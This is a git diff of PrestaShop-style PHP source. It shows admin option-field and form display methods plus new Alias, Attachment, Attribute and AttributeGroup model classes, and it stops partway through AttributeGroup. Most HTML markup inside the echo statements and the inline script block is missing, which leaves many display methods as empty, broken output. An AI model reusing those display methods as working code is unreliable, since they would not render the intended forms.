'; + + foreach ($categoryData['fields'] as $key => $field) + { + // Field value + $value = Tools::getValue($key, Configuration::get($key)); + if (!Validate::isCleanHtml($value)) + $value = Configuration::get($key); + + if (isset($field['defaultValue']) && !$value) + $value = $field['defaultValue']; + + // Check if var is invisible (can't edit it in current shop context), or disable (use default value for multishop) + $isDisabled = $isInvisible = false; + if (Shop::isFeatureActive()) + { + if (isset($field['visibility']) && $field['visibility'] > Shop::getContext()) + { + $isDisabled = true; + $isInvisible = true; + } + else if (Shop::getContext() != Shop::CONTEXT_ALL && !Configuration::isOverridenByCurrentContext($key)) + $isDisabled = true; + } + + // Display title + echo '
'; + if ($field['title']) + { + echo ''; + } + + echo '
'; + + // Display option inputs + $method = 'displayOptionType'.Tools::toCamelCase($field['type'], true); + if (!method_exists($this, $method)) + $this->displayOptionTypeText($key, $field, $value);//default behavior + else + $this->$method($key, $field, $value); + + // Multishop default value + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_ALL && !$isInvisible) + echo '
+ +
'; + + // Field description + //echo (isset($field['desc']) ? '

'.((isset($field['thumb']) AND $field['thumb'] AND $field['thumb']['pos'] == 'after') ? ''.$field['title'].'' : '' ).$field['desc'].'

' : ''); + echo (isset($field['desc']) ? '

'.$field['desc'].'

' : ''); + + // Is this field invisible in current shop context ? + echo ($isInvisible) ? '

'.$this->l('You cannot change the value of this configuration field in this shop context').'

' : ''; + + echo '
'; + } + + echo '
'; + echo ''; + echo '
'; + if ($required) + echo '
* '.$this->l('Required field').'
'; + + echo '

'; + $this->displayBottomOptionCategory($category, $categoryData); + } + echo '
'; + } + + /** + * Can be overriden + */ + public function displayTopOptionCategory($category, $data) + { + } + + /** + * Can be overriden + */ + public function displayBottomOptionCategory($category, $data) + { + } + + /** + * Type = select + */ + public function displayOptionTypeSelect($key, $field, $value) + { + echo ''; + } + + /** + * Type = bool + */ + public function displayOptionTypeBool($key, $field, $value) + { + echo ''; + echo ''; + echo ''; + + echo ''; + echo ''; + echo ''; + } + + /** + * Type = radio + */ + public function displayOptionTypeRadio($key, $field, $value) + { + foreach ($field['choices'] as $k => $v) + echo '
'; + echo '
'; + } + + /** + * Type = text + */ + public function displayOptionTypeText($key, $field, $value) + { + echo ''.(isset($field['next']) ? ' '.(string)$field['next'] : ''); + } + + /** + * Type = password + */ + public function displayOptionTypePassword($key, $field, $value) + { + $this->displayOptionTypeText($key, $field, ''); + } + + /** + * Type = textarea + */ + public function displayOptionTypeTextarea($key, $field, $value) + { + echo ''; + } + + /** + * Type = file + */ + public function displayOptionTypeFile($key, $field, $value) + { + if (isset($field['thumb']) && $field['thumb'] && $field['thumb']['pos'] == 'before') + echo ''.$field['title'].'
'; + echo ''; + } + + /** + * Type = image + */ + public function displayOptionTypeImage($key, $field, $value) + { + echo ''; + echo ''; + + /*if ($name == 'themes') + echo ' + + + + ';*/ + + $i = 0; + foreach ($field['list'] as $theme) + { + echo ''; + if (isset($field['max']) && ($i +1 ) % $field['max'] == 0) + echo ''; + $i++; + } + echo ''; + echo '
+ '.$this->l('In order to use a new theme, please follow these steps:', get_class()).' + +
'; + echo ''; + echo ''; + echo '
'; + echo ''; + echo '
'; + } + + /** + * Type = textLang + */ + public function displayOptionTypeTextLang($key, $field, $value) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $value = Tools::getValue($key.'_'.$language['id_lang'], Configuration::get($key, $language['id_lang'])); + echo '
'; + echo ''; + echo '
'; + } + $this->displayFlags($languages, $this->context->language->id, $key, $key); + } + + /** + * Type = TextareaLang + */ + public function displayOptionTypeTextareaLang($key, $field, $value) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $value = Configuration::get($key, $language['id_lang']); + echo '
'; + echo ''; + echo '
'; + } + $this->displayFlags($languages, $this->context->language->id, $key, $key); + echo '
'; + } + + /** + * Type = selectLang + */ + public function displayOptionTypeSelectLang($key, $field, $value) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + echo '
'; + echo ''; + echo '
'; + } + $this->displayFlags($languages, $this->context->language->id, $key, $key); + } + + /** + * Type = price + */ + public function displayOptionTypePrice($key, $field, $value) + { + echo $this->context->currency->getSign('left'); + $this->displayOptionTypeText($key, $field, $value); + echo $this->context->currency->getSign('right').' '.$this->l('(tax excl.)'); + } + + /** + * Type = disabled + */ + public function displayOptionTypeDisabled($key, $field, $value) + { + echo $field['disabled']; + } + + /** + * Load class object using identifier in $_GET (if possible) + * otherwise return an empty object, or die + * + * @param boolean $opt Return an empty object if load fail + * @return object + */ + protected function loadObject($opt = false) + { + if ($id = (int)(Tools::getValue($this->identifier)) AND Validate::isUnsignedId($id)) + { + if (!$this->_object) + $this->_object = new $this->className($id); + if (Validate::isLoadedObject($this->_object)) + return $this->_object; + $this->_errors[] = Tools::displayError('Object cannot be loaded (not found)'); + } + elseif ($opt) + { + $this->_object = new $this->className(); + return $this->_object; + } + else + $this->_errors[] = Tools::displayError('Object cannot be loaded (identifier missing or invalid)'); + + $this->displayErrors(); + } + + /** + * Return field value if possible (both classical and multilingual fields) + * + * Case 1 : Return value if present in $_POST / $_GET + * Case 2 : Return object value + * + * @param object $obj Object + * @param string $key Field name + * @param integer $id_lang Language id (optional) + * @return string + */ + public function getFieldValue($obj, $key, $id_lang = NULL, $id_shop = null) + { + if (!$id_shop && $obj->isLangMultishop()) + $id_shop = Context::getContext()->shop->id; + + if ($id_lang) + $defaultValue = ($obj->id && isset($obj->{$key}[$id_lang])) ? $obj->{$key}[$id_lang] : ''; + else + $defaultValue = isset($obj->{$key}) ? $obj->{$key} : ''; + + return Tools::getValue($key.($id_lang ? '_'.$id_shop.'_'.$id_lang : ''), $defaultValue); + } + + /** + * Display form + */ + public function displayForm($firstCall = true) + { + $allowEmployeeFormLang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; + if ($allowEmployeeFormLang && !$this->context->cookie->employee_form_lang) + $this->context->cookie->employee_form_lang = (int)(Configuration::get('PS_LANG_DEFAULT')); + $useLangFromCookie = false; + $this->_languages = Language::getLanguages(false); + if ($allowEmployeeFormLang) + foreach ($this->_languages as $lang) + if ($this->context->cookie->employee_form_lang == $lang['id_lang']) + $useLangFromCookie = true; + if (!$useLangFromCookie) + $this->_defaultFormLanguage = (int)(Configuration::get('PS_LANG_DEFAULT')); + else + $this->_defaultFormLanguage = (int)($this->context->cookie->employee_form_lang); + + // Only if it is the first call to displayForm, otherwise it has already been defined + if ($firstCall) + { + echo ' + '; + } + } + + /** + * Display object details + */ + public function viewDetails() {} + + /** + * Called before deletion + * + * @param object $object Object + * @return boolean + */ + protected function beforeDelete($object) { return true; } + + /** + * Called before deletion + * + * @param object $object Object + * @return boolean + */ + protected function afterDelete($object, $oldId) { return true; } + + protected function afterAdd($object) { return true; } + + protected function afterUpdate($object) { return true; } + + /** + * Check rights to view the current tab + * + * @return boolean + */ + + protected function afterImageUpload() { + return true; + } + + /** + * Check rights to view the current tab + * + * @return boolean + */ + + public function viewAccess($disable = false) + { + if ($disable) + return true; + + $this->tabAccess = Profile::getProfileAccess($this->context->employee->id_profile, $this->id); + + if ($this->tabAccess['view'] === '1') + return true; + return false; + } + + /** + * Check for security token + */ + public function checkToken() + { + $token = Tools::getValue('token'); + return (!empty($token) && $token === $this->token); + } + + /** + * Display flags in forms for translations + * + * @param array $languages All languages available + * @param integer $default_language Default language id + * @param string $ids Multilingual div ids in form + * @param string $id Current div id] + * @param boolean $return define the return way : false for a display, true for a return + * @param boolean $use_vars_instead_of_ids use an js vars instead of ids seperate by "¤" + */ + public function displayFlags($languages, $default_language, $ids, $id, $return = false, $use_vars_instead_of_ids = false) + { + if (count($languages) == 1) + return false; + $output = ' +
+ +
+
+ '.$this->l('Choose language:').'

'; + foreach ($languages as $language) + if($use_vars_instead_of_ids) + $output .= ''.$language['name'].' '; + else + $output .= ''.$language['name'].' '; + $output .= '
'; + + if ($return) + return $output; + echo $output; + } + + protected function filterToField($key, $filter) + { + foreach ($this->fieldsDisplay as $field) + if (array_key_exists('filter_key', $field) && $field['filter_key'] == $key) + return $field; + if (array_key_exists($filter, $this->fieldsDisplay)) + return $this->fieldsDisplay[$filter]; + return false; + } + + protected function warnDomainName() + { + if ($_SERVER['HTTP_HOST'] != Configuration::get('PS_SHOP_DOMAIN') && $_SERVER['HTTP_HOST'] != Configuration::get('PS_SHOP_DOMAIN_SSL')) + $this->displayWarning($this->l('Your are currently connected with the following domain name:').' '.$_SERVER['HTTP_HOST'].'
'. + $this->l('This one is different from the main shop domain name set in "Preferences > SEO & URLs":').' '.Configuration::get('PS_SHOP_DOMAIN').'
+ '. + $this->l('Click here if you want to modify the main shop domain name').''); + } + + protected function displayAssoShop() + { + if (!Shop::isFeatureActive() || (!$this->_object && Shop::getContext() != Shop::CONTEXT_ALL)) + return; + + $assos = array(); + $sql = 'SELECT id_shop, `'.pSQL($this->identifier).'` + FROM `'._DB_PREFIX_.pSQL($this->table).'_shop`'; + foreach (Db::getInstance()->executeS($sql) as $row) + $assos[$row['id_shop']][] = $row[$this->identifier]; + + $html = << + $().ready(function() + { + // Click on "all shop" + $('.input_all_shop').click(function() + { + var checked = $(this).prop('checked'); + $('.input_shop_group').attr('checked', checked); + $('.input_shop').attr('checked', checked); + }); + + // Click on a group shop + $('.input_shop_group').click(function() + { + $('.input_shop[value='+$(this).val()+']').attr('checked', $(this).prop('checked')); + check_all_shop(); + }); + + // Click on a shop + $('.input_shop').click(function() + { + check_shop_group_status($(this).val()); + check_all_shop(); + }); + + // Initialize checkbox + $('.input_shop').each(function(k, v) + { + check_shop_group_status($(v).val()); + check_all_shop(); + }); + }); + + function check_shop_group_status(id_group) + { + var groupChecked = true; + $('.input_shop[value='+id_group+']').each(function(k, v) + { + if (!$(v).prop('checked')) + groupChecked = false; + }); + $('.input_shop_group[value='+id_group+']').attr('checked', groupChecked); + } + + function check_all_shop() + { + var allChecked = true; + $('.input_shop_group').each(function(k, v) + { + if (!$(v).prop('checked')) + allChecked = false; + }); + $('.input_all_shop').attr('checked', allChecked); + } + +EOF; + + $html .= '
'; + $html .= ' + '; + $html .= ''; + foreach (Shop::getTree() as $groupID => $groupData) + { + $html .= ''; + $html .= ''; + $html .= ''; + + $total = count($groupData['shops']); + $j = 0; + foreach ($groupData['shops'] as $shopID => $shopData) + { + $checked = ((isset($assos[$shopID]) && in_array($this->_object->id, $assos[$shopID])) || !$this->_object->id); + $html .= ''; + $html .= ''; + $html .= ''; + $j++; + } + } + $html .= '
'.$this->l('Shop').'
'; + echo $html; + } + + /** + * Get current URL + * + * @param array $remove List of keys to remove from URL + * @return string + */ + protected function getCurrentUrl($remove = array()) + { + $url = $_SERVER['REQUEST_URI']; + if (!$remove) + return $url; + + if (!is_array($remove)) + $remove = array($remove); + + $url = preg_replace('#(?<=&|\?)(' . implode('|', $remove) . ')=.*?(&|$)#i', '', $url); + $len = strlen($url); + if ($url[$len - 1] == '&') + $url = substr($url, 0, $len - 1); + return $url; + } +} diff --git a/classes/Alias.php b/classes/Alias.php new file mode 100755 index 0000000..b6fda09 --- /dev/null +++ b/classes/Alias.php @@ -0,0 +1,128 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AliasCore extends ObjectModel +{ + public $alias; + public $search; + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'alias', + 'primary' => 'id_alias', + 'fields' => array( + 'search' => array('type' => self::TYPE_STRING, 'validate' => 'isValidSearch', 'required' => true, 'size' => 255), + 'alias' => array('type' => self::TYPE_STRING, 'validate' => 'isValidSearch', 'required' => true, 'size' => 255), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + public function __construct($id = null, $alias = null, $search = null, $id_lang = null) + { + $this->def = Alias::getDefinition($this); + $this->setDefinitionRetrocompatibility(); + + if ($id) + parent::__construct($id); + else if ($alias && Validate::isValidSearch($alias)) + { + if (!Alias::isFeatureActive()) + { + $this->alias = trim($alias); + $this->search = trim($search); + } + else + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT a.id_alias, a.search, a.alias + FROM `'._DB_PREFIX_.'alias` a + WHERE `alias` LIKE \''.pSQL($alias).'\' AND `active` = 1'); + + if ($row) + { + $this->id = (int)($row['id_alias']); + $this->search = $search ? trim($search) : $row['search']; + $this->alias = $row['alias']; + } + else + { + $this->alias = trim($alias); + $this->search = trim($search); + } + } + } + } + + public function add($autodate = true, $nullValues = false) + { + if (parent::add($autodate, $nullValues)) + { + // Set cache of feature detachable to true + Configuration::updateGlobalValue('PS_ALIAS_FEATURE_ACTIVE', '1'); + return true; + } + return false; + } + + public function delete() + { + if (parent::delete()) + { + // Refresh cache of feature detachable + Configuration::updateGlobalValue('PS_ALIAS_FEATURE_ACTIVE', Alias::isCurrentlyUsed($this->def['table'], true)); + return true; + } + return false; + } + + public function getAliases() + { + if (!Alias::isFeatureActive()) + return ''; + + $aliases = Db::getInstance()->executeS(' + SELECT a.alias + FROM `'._DB_PREFIX_.'alias` a + WHERE `search` = \''.pSQL($this->search).'\''); + + $aliases = array_map('implode', $aliases); + return implode(', ', $aliases); + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_ALIAS_FEATURE_ACTIVE'); + } +} + diff --git a/classes/Attachment.php b/classes/Attachment.php new file mode 100755 index 0000000..4f98002 --- /dev/null +++ b/classes/Attachment.php @@ -0,0 +1,189 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AttachmentCore extends ObjectModel +{ + public $file; + public $file_name; + public $name; + public $mime; + public $description; + + /** @var integer position */ + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'attachment', + 'primary' => 'id_attachment', + 'multilang' => true, + 'fields' => array( + 'file' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 40), + 'mime' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 128), + 'file_name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 128), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml'), + ), + ); + + public function delete() + { + @unlink(_PS_DOWNLOAD_DIR_.$this->file); + + $products = Db::getInstance()->executeS(' + SELECT id_product + FROM '._DB_PREFIX_.'product_attachment + WHERE id_attachment='.(int)$this->id); + + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'product_attachment WHERE id_attachment = '.(int)$this->id); + + foreach ($products as $product) + Product::updateCacheAttachment((int)$product['id_product']); + + return parent::delete(); + } + + public function deleteSelection($attachments) + { + $return = 1; + foreach ($attachments as $id_attachment) + { + $attachment = new Attachment((int)$id_attachment); + $return &= $attachment->delete(); + } + return $return; + } + + public static function getAttachments($id_lang, $id_product, $include = true) + { + return Db::getInstance()->executeS(' + SELECT * + FROM '._DB_PREFIX_.'attachment a + LEFT JOIN '._DB_PREFIX_.'attachment_lang al + ON (a.id_attachment = al.id_attachment AND al.id_lang = '.(int)$id_lang.') + WHERE a.id_attachment '.($include ? 'IN' : 'NOT IN').' ( + SELECT pa.id_attachment + FROM '._DB_PREFIX_.'product_attachment pa + WHERE id_product = '.(int)$id_product.' + )' + ); + } + + /** + * deassociate $id_product from the current object + * + * @static + * @param $id_product int + * @return bool + */ + public static function deleteProductAttachments($id_product) + { + $res = Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_attachment + WHERE id_product = '.(int)$id_product); + + Product::updateCacheAttachment((int)$id_product); + + return $res; + } + + /** + * associate $id_product to the current object. + * + * @param int $id_product id of the product to associate + * @return boolean true if succed + */ + public function attachProduct($id_product) + { + $res = Db::getInstance()->execute(' + INSERT INTO '._DB_PREFIX_.'product_attachment + (id_attachment, id_product) VALUES + ('.(int)$this->id.', '.(int)$id_product.')'); + + Product::updateCacheAttachment((int)$id_product); + + return $res; + } + + /** + * associate an array of id_attachment $array to the product $id_product + * and remove eventual previous association + * + * @static + * @param $id_product + * @param $array + * @return bool + */ + public static function attachToProduct($id_product, $array) + { + $result1 = Attachment::deleteProductAttachments($id_product); + + if (is_array($array)) + { + $ids = array(); + foreach ($array as $id_attachment) + if ((int)$id_attachment > 0) + $ids[] = array('id_product' => (int)$id_product, 'id_attachment' => (int)$id_attachment); + + if (!empty($ids)) + $result2 = Db::getInstance()->insert('product_attachment', $ids); + + } + + Product::updateCacheAttachment((int)$id_product); + if (is_array($array)) + return ($result1 && (!isset($result2) || $result2)); + + return $result1; + } + + public static function getProductAttached($id_lang, $list) + { + $ids_attachements = array(); + if (is_array($list)) + { + foreach ($list as $attachement) + $ids_attachements[] = $attachement['id_attachment']; + + $sql = 'SELECT * FROM `'._DB_PREFIX_.'product_attachment` pa + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (pa.`id_product` = pl.`id_product`'.Shop::addSqlRestrictionOnLang('pl').') + WHERE `id_attachment` IN ('.implode(',', array_map('intval', $ids_attachements)).') + AND pl.`id_lang` = '.(int)$id_lang; + $tmp = Db::getInstance()->executeS($sql); + $product_attachements = array(); + foreach ($tmp as $t) + $product_attachements[$t['id_attachment']][] = $t['name']; + return $product_attachements; + } + else + return false; + } +} + diff --git a/classes/Attribute.php b/classes/Attribute.php new file mode 100755 index 0000000..c27e409 --- /dev/null +++ b/classes/Attribute.php @@ -0,0 +1,346 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AttributeCore extends ObjectModel +{ + /** @var integer Group id which attribute belongs */ + public $id_attribute_group; + + /** @var string Name */ + public $name; + public $color; + public $position; + public $default; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'attribute', + 'primary' => 'id_attribute', + 'multilang' => true, + 'fields' => array( + 'id_attribute_group' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'color' => array('type' => self::TYPE_STRING, 'validate' => 'isColor'), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + ) + ); + + + protected $image_dir = _PS_COL_IMG_DIR_; + + protected $webserviceParameters = array( + 'objectsNodeName' => 'product_option_values', + 'objectNodeName' => 'product_option_value', + 'fields' => array( + 'id_attribute_group' => array('xlink_resource'=> 'product_options'), + ) + ); + + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + $this->image_dir = _PS_COL_IMG_DIR_; + + parent::__construct($id, $id_lang, $id_shop); + } + + public function delete() + { + if (!$this->hasMultishopEntries()) + { + $result = Db::getInstance()->executeS('SELECT id_product_attribute FROM '._DB_PREFIX_.'product_attribute_combination WHERE id_attribute = '.(int)$this->id); + foreach ($result as $row) + { + $combination = new Combination($row['id_product_attribute']); + $combination->delete(); + } + + // Delete associated restrictions on cart rules + CartRule::cleanProductRuleIntegrity('attributes', $this->id); + + /* Reinitializing position */ + $this->cleanPositions((int)$this->id_attribute_group); + } + $return = parent::delete(); + if ($return) + Hook::exec('actionAttributeDelete', array('id_attribute' => $this->id)); + + return $return; + } + + public function update($null_values = false) + { + $return = parent::update($null_values); + + if ($return) + Hook::exec('actionAttributeSave', array('id_attribute' => $this->id)); + + return $return; + } + + public function add($autodate = true, $null_values = false) + { + if ($this->position <= 0) + $this->position = Attribute::getHigherPosition($this->id_attribute_group) + 1; + + $return = parent::add($autodate, $null_values); + + if ($return) + Hook::exec('actionAttributeSave', array('id_attribute' => $this->id)); + + return $return; + } + + /** + * Get all attributes for a given language + * + * @param integer $id_lang Language id + * @param boolean $notNull Get only not null fields if true + * @return array Attributes + */ + public static function getAttributes($id_lang, $not_null = false) + { + if (!Combination::isFeatureActive()) + return array(); + + return Db::getInstance()->executeS(' + SELECT DISTINCT ag.*, agl.*, a.`id_attribute`, al.`name`, agl.`name` AS `attribute_group` + FROM `'._DB_PREFIX_.'attribute_group` ag + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl + ON (ag.`id_attribute_group` = agl.`id_attribute_group` AND agl.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'attribute` a + ON a.`id_attribute_group` = ag.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al + ON (a.`id_attribute` = al.`id_attribute` AND al.`id_lang` = '.(int)$id_lang.') + '.Shop::addSqlAssociation('attribute_group', 'ag').' + '.Shop::addSqlAssociation('attribute', 'a').' + '.($not_null ? 'WHERE a.`id_attribute` IS NOT NULL AND al.`name` IS NOT NULL' : '').' + ORDER BY agl.`name` ASC, a.`position` ASC + '); + } + + /** + * Get quantity for a given attribute combination + * Check if quantity is enough to deserve customer + * + * @param integer $id_product_attribute Product attribute combination id + * @param integer $qty Quantity needed + * @return boolean Quantity is available or not + */ + public static function checkAttributeQty($id_product_attribute, $qty, Shop $shop = null) + { + if (!$shop) + $shop = Context::getContext()->shop; + + $result = StockAvailable::getQuantityAvailableByProduct(null, (int)$id_product_attribute, $shop->id); + + return ($result && $qty <= $result); + } + + /** + * @deprecated 1.5.0, use StockAvailable::getQuantityAvailableByProduct() + */ + public static function getAttributeQty($id_product) + { + Tools::displayAsDeprecated(); + + return StockAvailable::getQuantityAvailableByProduct($id_product); + } + + /** + * Update array with veritable quantity + * + * @deprecated since 1.5.0 + * @param array &$arr + * @return bool + */ + public static function updateQtyProduct(&$arr) + { + Tools::displayAsDeprecated(); + + $id_product = (int)$arr['id_product']; + $qty = Attribute::getAttributeQty($id_product); + + if ($qty !== false) + { + $arr['quantity'] = (int)$qty; + return true; + } + + return false; + } + + /** + * Return true if attribute is color type + * + * @acces public + * @return bool + */ + public function isColorAttribute() + { + if (!Db::getInstance()->getRow(' + SELECT `group_type` + FROM `'._DB_PREFIX_.'attribute_group` + WHERE `id_attribute_group` = ( + SELECT `id_attribute_group` + FROM `'._DB_PREFIX_.'attribute` + WHERE `id_attribute` = '.(int)$this->id.') + AND group_type = \'color\'')) + return false; + + return Db::getInstance()->numRows(); + } + + /** + * Get minimal quantity for product with attributes quantity + * + * @acces public static + * @param integer $id_product_attribute + * @return mixed Minimal Quantity or false + */ + public static function getAttributeMinimalQty($id_product_attribute) + { + $minimal_quantity = Db::getInstance()->getValue(' + SELECT `minimal_quantity` + FROM `'._DB_PREFIX_.'product_attribute_shop` pas + WHERE `id_shop` = '.(int)Context::getContext()->shop->id.' + AND `id_product_attribute` = '.(int)$id_product_attribute + ); + + if ($minimal_quantity > 1) + return (int)$minimal_quantity; + + return false; + } + + /** + * Move an attribute inside its group + * @param boolean $way Up (1) or Down (0) + * @param integer $position + * @return boolean Update result + */ + public function updatePosition($way, $position) + { + if (!$id_attribute_group = (int)Tools::getValue('id_attribute_group')) + $id_attribute_group = (int)$this->id_attribute_group; + + $sql = ' + SELECT a.`id_attribute`, a.`position`, a.`id_attribute_group` + FROM `'._DB_PREFIX_.'attribute` a + WHERE a.`id_attribute_group` = '.(int)$id_attribute_group.' + ORDER BY a.`position` ASC'; + + if (!$res = Db::getInstance()->executeS($sql)) + return false; + + foreach ($res as $attribute) + if ((int)$attribute['id_attribute'] == (int)$this->id) + $moved_attribute = $attribute; + + if (!isset($moved_attribute) || !isset($position)) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + + $res1 = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$moved_attribute['position'].' AND `position` <= '.(int)$position + : '< '.(int)$moved_attribute['position'].' AND `position` >= '.(int)$position).' + AND `id_attribute_group`='.(int)$moved_attribute['id_attribute_group'] + ); + + $res2 = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute` + SET `position` = '.(int)$position.' + WHERE `id_attribute` = '.(int)$moved_attribute['id_attribute'].' + AND `id_attribute_group`='.(int)$moved_attribute['id_attribute_group'] + ); + + return ($res1 && $res2); + } + + /** + * Reorder attribute position in group $id_attribute_group. + * Call it after deleting an attribute from a group. + * + * @param int $id_attribute_group + * @param bool $use_last_attribute + * @return bool $return + */ + public function cleanPositions($id_attribute_group, $use_last_attribute = true) + { + $return = true; + + $sql = ' + SELECT `id_attribute` + FROM `'._DB_PREFIX_.'attribute` + WHERE `id_attribute_group` = '.(int)$id_attribute_group; + + // when delete, you must use $use_last_attribute + if ($use_last_attribute) + $sql .= ' AND `id_attribute` != '.(int)$this->id; + + $sql .= ' ORDER BY `position`'; + + $result = Db::getInstance()->executeS($sql); + + $i = 0; + foreach ($result as $value) + $return = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'attribute` + SET `position` = '.(int)$i++.' + WHERE `id_attribute_group` = '.(int)$id_attribute_group.' + AND `id_attribute` = '.(int)$value['id_attribute'] + ); + + return $return; + } + + /** + * getHigherPosition + * + * Get the higher attribute position from a group attribute + * + * @param integer $id_attribute_group + * @return integer $position + */ + public static function getHigherPosition($id_attribute_group) + { + $sql = 'SELECT MAX(`position`) + FROM `'._DB_PREFIX_.'attribute` + WHERE id_attribute_group = '.(int)$id_attribute_group; + + $position = DB::getInstance()->getValue($sql); + + return (is_numeric($position)) ? $position : -1; + } +} diff --git a/classes/AttributeGroup.php b/classes/AttributeGroup.php new file mode 100755 index 0000000..8a85483 --- /dev/null +++ b/classes/AttributeGroup.php @@ -0,0 +1,324 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AttributeGroupCore extends ObjectModel +{ + /** @var string Name */ + public $name; + public $is_color_group; + public $position; + public $group_type; + + /** @var string Public Name */ + public $public_name; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'attribute_group', + 'primary' => 'id_attribute_group', + 'multilang' => true, + 'fields' => array( + 'is_color_group' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'group_type' => array('type' => self::TYPE_STRING, 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'public_name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + ), + ); + + + protected $webserviceParameters = array( + 'objectsNodeName' => 'product_options', + 'objectNodeName' => 'product_option', + 'fields' => array(), + 'associations' => array( + 'product_option_values' => array( + 'resource' => 'product_option_value', + 'fields' => array( + 'id' => array() + ), + ), + ), + ); + + public function add($autodate = true, $nullValues = false) + { + if ($this->position <= 0) + $this->position = AttributeGroup::getHigherPosition() + 1; + + $return = parent::add($autodate, true); + Hook::exec('actionAttributeGroupSave', array('id_attribute_group' => $this->id)); + return $return; + } + + public function update($nullValues = false) + { + $return = parent::update($nullValues); + Hook::exec('actionAttributeGroupSave', array('id_attribute_group' => $this->id)); + return $return; + } + + public static function cleanDeadCombinations() + { + $attribute_combinations = Db::getInstance()->executeS(' + SELECT pac.`id_attribute`, pa.`id_product_attribute` + FROM `'._DB_PREFIX_.'product_attribute` pa + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac + ON (pa.`id_product_attribute` = pac.`id_product_attribute`) + '); + $to_remove = array(); + foreach ($attribute_combinations as $attribute_combination) + if ((int)$attribute_combination['id_attribute'] == 0) + $to_remove[] = (int)$attribute_combination['id_product_attribute']; + $return = true; + if (!empty($to_remove)) + foreach ($to_remove as $remove) + { + $combination = new Combination($remove); + $return &= $combination->delete(); + } + return $return; + } + + public function delete() + { + if (!$this->hasMultishopEntries()) + { + /* Select children in order to find linked combinations */ + $attribute_ids = Db::getInstance()->executeS(' + SELECT `id_attribute` + FROM `'._DB_PREFIX_.'attribute` + WHERE `id_attribute_group` = '.(int)$this->id + ); + if ($attribute_ids === false) + return false; + /* Removing attributes to the found combinations */ + $to_remove = array(); + foreach ($attribute_ids as $attribute) + $to_remove[] = (int)$attribute['id_attribute']; + if (!empty($to_remove) && Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_attribute_combination` + WHERE `id_attribute` + IN ('.implode(', ', $to_remove).')') === false) + return false; + /* Remove combinations if they do not possess attributes anymore */ + if (!AttributeGroup::cleanDeadCombinations()) + return false; + /* Also delete related attributes */ + if (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'attribute_lang` + WHERE `id_attribute` + IN (SELECT id_attribute FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute_group` = '.(int)$this->id.')') === false || + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'attribute` WHERE `id_attribute_group` = '.(int)$this->id) === false) + return false; + $this->cleanPositions(); + } + $return = parent::delete(); + if ($return) + Hook::exec('actionAttributeGroupDelete', array('id_attribute_group' => $this->id)); + return $return; + } + + /** + * Get all attributes for a given language / group + * + * @param integer $id_lang Language id + * @param boolean $id_attribute_group Attribute group id + * @return array Attributes + */ + public static function getAttributes($id_lang, $id_attribute_group) + { + if 